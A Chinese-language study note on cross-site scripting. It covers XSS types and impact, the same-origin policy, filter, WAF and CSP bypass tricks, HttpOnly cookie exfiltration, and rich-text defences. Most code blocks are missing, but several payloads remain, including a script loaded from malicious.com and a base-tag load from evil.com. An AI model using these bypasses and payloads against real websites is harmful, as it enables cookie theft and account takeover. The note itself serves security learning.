xss学习
xss简介
XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
xss分类
参考文章:https://zhuanlan.zhihu.com/p/397940947
反射型xss
反射型xss的攻击流程:
反射型是比较常见的,他通常需要用户点击攻击者制作的链接才会触发,比如一个网站有这样的代码:
|
那么我们可以制作一个url带上js代码给用户点击
|
这样用户点击该链接后就会运行js代码
该方法收到Auditor、NoScript等防御手段影响较大
XSS Auditor:XSS Auditor 是一些现代浏览器内置的安全特性,它能够检测并阻止某些类型的XSS攻击。当浏览器识别到某些模式或行为与XSS攻击相符时,XSS Auditor 可以自动修改或阻止页面的加载,从而保护用户免受攻击。例如,如果一个网站将用户输入的数据直接回显到页面中,而没有进行适当的处理,XSS Auditor 可能会介入并防止恶意脚本的执行。
NoScript:
NoScript 是一个浏览器扩展,它允许用户对网页上的脚本执行进行更细粒度的控制。通过NoScript,用户可以设置规则来禁止或允许特定网站或脚本的运行。在默认情况下,NoScript 可以阻止所有未经信任的网站运行JavaScript、Java以及其他可执行的代码。这可以有效地防御XSS 攻击,因为许多XSS 攻击依赖于恶意脚本的执行。
存储型xss
存储型xss的攻击流程:
存储型就是黑客改变了对象,直接把对象变为服务器了,将恶意的xss语句存入服务器,这样每次用户访问该正常服务器,服务器都会将带有恶意语句的页面一起返回,这样就可以造成持久化攻击。
在一些用户留言的功能就很容易发生这类xss。
DOM型xss
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
例如:
|
输入 x' onerror='javascript:alert(/xss/)
即可触发。
DOM指的是文档对象模型(Document Object Model),这是一种编程接口,用于处理可扩展标记语言(XML)和超文本标记语言(HTML)文档。通过DOM,程序员可以动态地访问和更新文档的内容、结构和样式。
在Web开发中,DOM用于Web浏览器和服务器端的脚本语言(如JavaScript)来操作Web页面。
比如上文的document.getElementById就是利用DOM来进行web页面的修改。
Blind XSS
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。
但Blind XSS不同的是,该xss类似盲打,即攻击者不知道这些payload会在何时何地执行,不一定能及时得到回显。
XSS危害
XSS可以导致下列的情况:
用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
攻击者能够在一定限度内记录用户的键盘输入,比如创建键盘监听器然后捕获信息之后利用
XMLHttpRequest
或fetch
等API发送HTTP请求将数据发送给攻击者。攻击者通过CSRF等方式以用户身份执行危险操作。
XSS蠕虫,例如Samy蠕虫
XSS蠕虫不需要用户下载或执行任何文件,而是通过用户与网页的交互来传播,通常是在用户不知不觉中进行的。
其工作原理通常如下:
- 寻找漏洞:攻击者寻找存在XSS漏洞的网站,这些漏洞可能允许攻击者注入恶意脚本。
- 注入脚本:攻击者在网站上注入恶意脚本,该脚本可以是自我复制的,即能够自动寻找新的受害者并传播自身。
- 传播机制:恶意脚本会在其他用户访问受感染的页面时执行,利用XSS漏洞将自身的副本注入到用户的会话中,或者诱使用户点击一个恶意链接,从而在用户的浏览器中执行。
- 自动化攻击:XSS蠕虫可以自动执行各种攻击,如发送垃圾邮件、窃取用户信息、会话劫持等。
- 隐藏性:由于XSS蠕虫不需要用户的直接交互,因此具有很高的隐蔽性,用户可能在不知情的情况下就成为了攻击的一部分。
获取用户浏览器信息。
利用XSS漏洞扫描用户内网。
同源策略
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
这里给出一个与http://store.company.com/dir/page.html
的源进行对比的示例:
URL | 结果 | 原因 |
---|---|---|
http://store.company.com/dir2/other.html |
同源 | 只有路径不同 |
http://store.company.com/dir/inner/another.html |
同源 | 只有路径不同 |
https://store.company.com/secure.html |
失败 | 协议不同 |
http://store.company.com:81/dir/etc.html |
失败 | 端口不同(http:// 默认端口是 80) |
http://news.company.com/dir/other.html |
失败 | 主机不同 |
更详细的去看这篇文章就行:https://websec.readthedocs.io/zh/latest/vuln/xss/sop.html
XSS常见标签
参考文章:XSS总结 - 先知社区 (aliyun.com)
这里就copy一下常用标签,见到新的就补充进来
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
|
|
|
|
利用link远程包含js文件
该标签在无CSP的情况下可以远程包含js文件
|
XSS Bypass
利用html属性绕过
可以使用一些不同的属性去尝试一下:
href
:用于定义超链接的目的地,攻击者可能会在其中嵌入JavaScript代码。- 例如:
<a href="javascript:alert('XSS')">Click me</a>
- 例如:
src
:通常用于<script>
、<img>
、<iframe>
等标签,指定外部资源的路径,可能会被用来加载并执行恶意脚本。- 例如:
<script src="http://malicious.com/xss.js"></script>
- 例如:
onclick
、onerror
、onmouseover
、onmouseout
、onload
:这些事件属性可以触发JavaScript代码的执行。- 例如:
<img src="x" onerror="alert('XSS')" />
- 例如:
style
:可以包含CSS样式,但也可能通过CSS表达式来执行JavaScript。- 例如:
<div style="background-image: url(javascript:alert('XSS'))">
- 例如:
value
:表单元素的值,如果处理不当,也可能成为XSS攻击的途径。- 例如:
<input type="text" value="
alert('XSS')" onfocus="eval(this.value)">
- 例如:
data
:某些现代浏览器支持data:
协议,允许在HTML中直接嵌入数据,这也可能被滥用。- 例如:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgp"></object>
- 例如:
background
:与<img>
标签的src
类似,<body>
标签的background
属性也可能被用于XSS攻击。action
:在<form>
标签中定义表单提交的URL,如果允许用户输入,可能会被用来执行XSS攻击。dynsrc
:与<embed>
和<object>
标签相关,用于指定动态加载的媒体资源,也可能被用于加载恶意脚本。
大小写绕过
|
双写绕过
有些waf会将关键字替换为空,这时候就可以双写绕过
|
拼接绕过
拼接绕过的思路就是利用一些关键字能够拿到函数名或者利用eval能够将字符串当作js代码执行。
eval
|
top
|
top
是一个关键字,通常用于引用浏览器窗口的顶层框架(frame)。
top
是用来确保这段代码能在当前页面的顶层窗口执行,而不是在某个嵌套的框架或iframe中执行。这样做可以确保攻击者能够突破框架的安全限制,直接对顶层浏览器窗口进行操作。
window
|
window
对象代表当前浏览器窗口的一个实例。它是全局对象,意味着在浏览器的全局作用域内定义的任何变量或函数都隐式地作为window
对象的属性。
通过使用方括号表示法 window['al'+'ert']
,代码在运行时动态地构建了字符串'alert'
,然后作为属性名去访问window
对象上的alert
函数。
self
|
self
是一个全局对象,它引用当前的执行环境,即全局上下文。在普通的浏览器环境中,self
通常与 window
对象是等价的,因为浏览器中的全局上下文就是 window
对象。
parent
|
parent
关键字被用于引用当前文档的父级窗口或框架。在HTML页面中,如果存在iframe或frame,每个框架都有自己的 window
对象,而 parent
对象提供了一种方式来引用这些不同层级的对象。
parent
对象是一个特殊的全局对象,它指向含有当前执行代码的窗口或框架的直接父级。如果当前执行代码的窗口是顶层窗口,那么 parent
和 window
是相同的。如果代码运行在一个框架中,parent
将指向包含该框架的窗口。
frames
|
frames
关键字被用于引用浏览器窗口中的所有框架(frames)和iframe元素。在HTML中,<frameset>
或 <iframe>
元素可以被用来创建框架,这些框架可以包含其他网页,每个网页都有其独立的文档和窗口对象。
函数替换
|
这些函数在其他标签也可以使用
编码绕过
也就是利用各种实体编码或者实体名称绕过
html实体编码也就是转义一些在html中有特殊意义的字符,比如<、>之类的
显示结果 | 描述 | 实体名称 | 十进制实体编码 | 十六进制实体编码 |
---|---|---|---|---|
空格 | |   |   | |
< | 小于号 | < | < | < |
> | 大于号 | > | > | > |
" | 双引号 | " | " | " |
+ | 加号 | + | + | + |
HTML 中的常用字符实体是不间断空格。
(注意:实体名称对大小写敏感!)
字符实体类似这样:&entity_name; 或者 entity_number;
比如可以这样写:
|
这个出来就是
|
相关的实体编码可以在这个网站查找:https://symbl.cc/cn/unicode/blocks/basic-latin/#subblock-0061
还可以url编码
当注入点存在href或者src时可以使用url编码,但是编码时不能对协议类型进行任何操作
例如:
|
js编码
js编码解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074
进行解码后为alert
,而alert
是一个有效的标识符名称,它是能被正常解析的。但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。
由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。
js编码策略:
- "" 加上三个八进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\074"
- "\x" 加上两个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\x3c"
- "\u" 加上四个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\u003c"
- 对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)
|
Unicode编码时只能对有效的标识进行编码,否则非标识符被解码后是不能执行的,比如:alert(1)只能对alert和1进行编码,括号编码后会失去作用,不能执行
如果用eval、setTimeout等函数传递变量时就可以对整个传递参数进行编码,例如:例如 eval("alert(1)"),可以对 "alert(1)" 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。
所以浏览器的解析过程是:html解析 —— url解析 —— js解析
我们还可以用一些混合编码和组合编码进行绕过,具体参考:xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户
base64编码
我们还可以利用data伪协议进行base64编码绕过
例如:
|
编码解码函数
atob()函数用于base64解码
btoa()函数用于base64编码
其他字符集编码绕过
|
UTF-16: UTF-16使用2个或4个字节来表示Unicode字符。攻击者可能会尝试将JavaScript代码编码为UTF-16字节顺序标记(BOM),并将其插入到输入字段中。一些系统可能会错误地将这些字节解释为UTF-16文本,而不是JavaScript代码。
例如,\u2028
(UTF-16的行分隔符)和\u2029
(UTF-16的段落分隔符)有时可以用来绕过基于行的输入过滤器。
js伪协议
伪协议的形式就是:javascript:alert(/xss/)
在插入js代码的地方都可以尝试一下伪协议
|
空格过滤绕过
|
- A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20
- B位置可填充 %09,%0A,%0C,%0D,%20
- C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20
- D位置可填充 %09,%0A,%0C,%0D,%20,//,>
圆括号过滤绕过
反引号替换
|
throw绕过
|
单引号过滤
斜杠替换
|
反引号替换
|
地址过滤
http被过滤
可以用//
代替http://
|
可以使用\\
,不过这在Linux下才能代替http://,在Windows下相当于file协议
逗号过滤
可以用中文逗号代替英文逗号,中文逗号会被自动转成英文逗号;中文的句号也可以代替点。
|
alert过滤
可以利用其他的函数来替换
|
长度限制
可以利用拆分的方法,利用eval函数和变量赋值的方法进行拼接
|
还可以利用加载外部js文件
$.getScript
:$.getScript
是 jQuery 库提供的一个函数,它允许你异步地从服务器加载 JavaScript 文件。这个函数非常适合用于在页面加载之后按需加载脚本,从而可以改善网页的响应速度和性能。假设你有一个 JavaScript 文件
example.js
,里面包含了一些页面加载后需要执行的代码,可以这样使用:$.getScript("example.js", function() {
console.log('Script loaded and executed successfully!');
});$.get
$.get
是 jQuery 库中的一个函数,用于执行 HTTP GET 请求。它可以用来从服务器异步地加载数据,并且通常用于请求 JSON、HTML、XML 或脚本文件。基本语法:
$.get(url, data, successCallback, dataType)
url:要请求的资源的 URL。
data:(可选)一个键值对的映射,表示要发送的查询字符串参数。
successCallback:(可选)一个回调函数,当请求成功时执行。它接受一个参数,通常是响应的数据。
dataType:(可选)预期的服务器响应的数据类型。例如:"json", "html", "text", "xml" 等。示例:
$.get("example.com/data", { key: "value" }, function(data) {
// 处理加载的数据
console.log(data);
}, "json");
过滤分号
可以使用花括号进行语句的分隔
|
绕过CSP
CSP介绍
这里先了解一下什么是CSP:
Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。
配置
CSP策略可以通过 HTTP 头信息或者 meta 元素定义。
CSP 有三类:
- Content-Security-Policy (Google Chrome)
- X-Content-Security-Policy (Firefox)
- X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
|
|
主要指令
指令 | 说明 |
---|---|
default-src | 定义资源默认加载策略 |
connect-src | 定义 Ajax、WebSocket 等加载策略 |
font-src | 定义 Font 加载策略 |
frame-src | 定义 Frame 加载策略 |
img-src | 定义图片加载策略 |
media-src | 定义 |
object-src | 定义 |
script-src | 定义 JS 加载策略 |
style-src | 定义 CSS 加载策略 |
base-uri | 定义 |
sandbox | 值为 allow-forms,对资源启用 sandbox |
report-uri | 值为 /report-uri,提交日志 |
关键字
-
允许从任意url加载,除了
data:
blob:
filesystem:
schemes
e.g.
img-src -
none
禁止从任何url加载资源
e.g.
object-src 'none'
self
只可以加载同源资源
e.g.
img-src 'self'
data:
可以通过data协议加载资源
e.g.
img-src 'self' data:
blob:
:表示允许加载blob URL格式的资源。
e.g.
img-src 'self' blob:
domain.example.com
e.g.
img-src domain.example.com
只可以从特定的域加载资源\*.example.com
e.g.
img-src \*.example.com
可以从任意example.com的子域处加载资源https://cdn.com
e.g.
img-src https://cdn.com
只能从给定的域用https加载资源https:
e.g.
img-src https:
只能从任意域用https加载资源unsafe-inline
允许内部资源执行代码例如style attribute,onclick或者是sicript标签
e.g.
script-src 'unsafe-inline'
unsafe-eval
允许一些不安全的代码执行方式,例如js的eval()
e.g.
script-src 'unsafe-eval'
nonce-<base64-value>'
使用随机的nonce,允许加载标签上nonce属性匹配的标签
e.g.
script-src 'nonce-bm9uY2U='
<hash-algo>-<base64-value>'
允许hash值匹配的代码块被执行
e.g.
script-src 'sha256-<base64-value>'
绕过
就是利用上面一些有风险的csp设置来绕过,比如unsafe-inline、unsafe-eval等等。相当于利用白名单绕过。
预加载
大概就是利用浏览器空闲的时候去加载指定的内容,然后缓存起来。
HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如
|
但是下列资源类型是阻止预加载的:
- URL中包含下载资源
- 页面中包含音频、视频
- POST、PUT和DELET操作的ajax请求
- HTTP认证
- HTTPS页面
- 含恶意软件的页面
- 弹窗页面
- 占用资源很多的页面
- 打开了chrome developer tools开发工具
MIME Sniff
比如csp可以读图片但是不能读脚本,就可以将代码嵌在图片当中
|
base-uri
当script-src为nonce或无限制,且base-uri无限制时,可通过 base
标签修改根URL来bypass,如下加载了http://evil.com/main.js
|
其他更多的参考这篇文章:https://websec.readthedocs.io/zh/latest/vuln/xss/csp.html
绕过waf
参考文章:https://www.cnblogs.com/rab3it/p/14526596.html
payload:
|
src=的右边只要是数字、字母之类的,就会被拦截,
src=
右边是可以接特殊字符串
的,所以语句变成如下格式<image/src=|>
(注:这个是特殊字符竖杠,不是字母或者数字),这样就绕过了防护。
安全狗
|
D盾
|
云锁+奇安信waf
|
绕http-only
当一个 cookie 标记为 HttpOnly
时,意味着这个 cookie 只能通过 HTTP 或 HTTPS 协议访问,不能通过 JavaScript 代码访问。也就是不能直接使用document.cookie
这样的方式来直接带出cookie
可以利用phpinfo的HTTP_COOKIE字段带出cookie,可以写一个xhr请求访问phpinfo页面然后匹配该字段然后带出cookie。
富文本XSS
富文本编辑器是一种允许用户以所见即所得的方式创建和编辑格式化文本的工具。与仅支持纯文本编辑的编辑器不同,富文本编辑器支持一系列文本格式化选项,包括但不限于:
- 字体样式(如加粗、斜体、下划线)
- 字体大小和颜色
- 段落对齐
- 列表(有序或无序列表)
- 超链接
- 图片和媒体嵌入
- 表格创建
- 头部和脚部注解
其允许用户输入HTML、JavaScript以及CSS等丰富的内容格式来进行渲染,所以可能会造成xss。
防御方式
一般不采用转义的方式进行防御,因为会导致其富文本无法使用,比如有富文本功能的留言框之类的。
可以采用下面方式来防御和修复:
- 输入验证:对用户输入进行严格的验证,确保不允许不安全的标签和属性。
- 输出编码:在将用户输入的数据渲染到页面上时,对所有用户生成的内容进行HTML编码。
- 白名单过滤:定义一个安全标签和属性的白名单,只允许这些安全的元素被使用。
- 内容安全策略(CSP):使用CSP来限制可以执行的脚本的来源,减少XSS攻击的风险。
- 定期更新:保持富文本编辑器及其依赖的库是最新的,以利用最新的安全修复。
- 安全审计:定期对富文本编辑器的使用进行安全审计,以发现和修复潜在的安全漏洞。